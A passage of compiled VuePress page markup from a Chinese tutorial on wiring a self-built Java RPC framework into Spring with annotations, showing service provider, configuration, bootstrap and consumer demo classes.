"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),s._v(" person"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Hello! "')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" person"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getFirstName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('" "')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" person"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getLastName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br")])]),t("p",[s._v("可以看到,在HelloServiceImpl类上添加了RPC服务提供者注解"),t("code",[s._v("@RpcService")]),s._v(",表示将其发布为一个RPC服务。")]),s._v(" "),t("ul",[t("li",[s._v("HelloPersonServiceImpl类源码")])]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RpcService")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("interfaceClass "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloPersonService")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" version "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloPersonServiceImpl")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("implements")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloPersonService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("List")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getTestPerson")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("int")]),s._v(" num"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("List")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" persons "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ArrayList")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("num"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("for")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("int")]),s._v(" i "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" i "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),s._v(" num"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("++")]),s._v("i"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n persons"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("add")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Integer")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("i"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" persons"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br")])]),t("p",[s._v("可以看到,在HelloPersonServiceImpl类上添加了RPC服务提供者注解"),t("code",[s._v("@RpcService")]),s._v(",表示将其发布为一个RPC服务。")]),s._v(" "),t("p",[s._v("(2)创建服务提供者demo的配置类ServerConfig,在ServerConfig类中注入RegistryService注册中心接口的实现类,以及RPC服务提供者的核心类RpcServer,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 基于注解的配置类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Configuration")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@ComponentScan")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.rpc.demo"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@PropertySource")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"classpath:rpc.properties"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("SpringAnnotationProviderConfig")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${registry.address}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" registryAddress"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${registry.type}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" registryType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${registry.loadbalance.type}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" registryLoadbalanceType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${server.address}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" serverAddress"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${reflect.type}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" reflectType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Bean")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RpcSpringServer")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("rpcSpringServer")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RpcSpringServer")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("serverAddress"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" registryAddress"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" registryType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" registryLoadbalanceType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" reflectType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br"),t("span",{staticClass:"line-number"},[s._v("30")]),t("br")])]),t("p",[s._v("(3)创建服务提供者demo的启动类ServerTest,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description RPC整合Spring注解,服务提供者demo启动类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ServerTest")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ServerConfig")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br")])]),t("h4",{attrs:{id:"实现服务调用者demo"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#实现服务调用者demo"}},[s._v("#")]),s._v(" 实现服务调用者demo")]),s._v(" "),t("p",[s._v("(1)创建测试服务调用者的TestService接口,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("TestService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("printResult")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("(2)创建TestService接口的实现类TestServiceImpl,在TestServiceImpl类上标注Spring的"),t("code",[s._v("@Service")]),s._v("注解,并在TestServiceImpl类中通过"),t("code",[s._v("@RpcReference")]),s._v("注解注入HelloService接口的实现类和HelloPersonService接口的实现类,并实现TestService接口的printResult()方法,源码如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 测试RPC服务调用者\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Service")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("TestServiceImpl")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("implements")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("TestService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RpcReference")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("version "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" timeout "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("3000")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" proxy "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"javassist"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" isAsync "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("true")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloService")]),s._v(" helloService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n \n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RpcReference")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("proxy "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"cglib"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloPersonService")]),s._v(" helloPersonService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("printResult")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" result "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" helloService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n result "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" helloService"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe001"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe002"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n 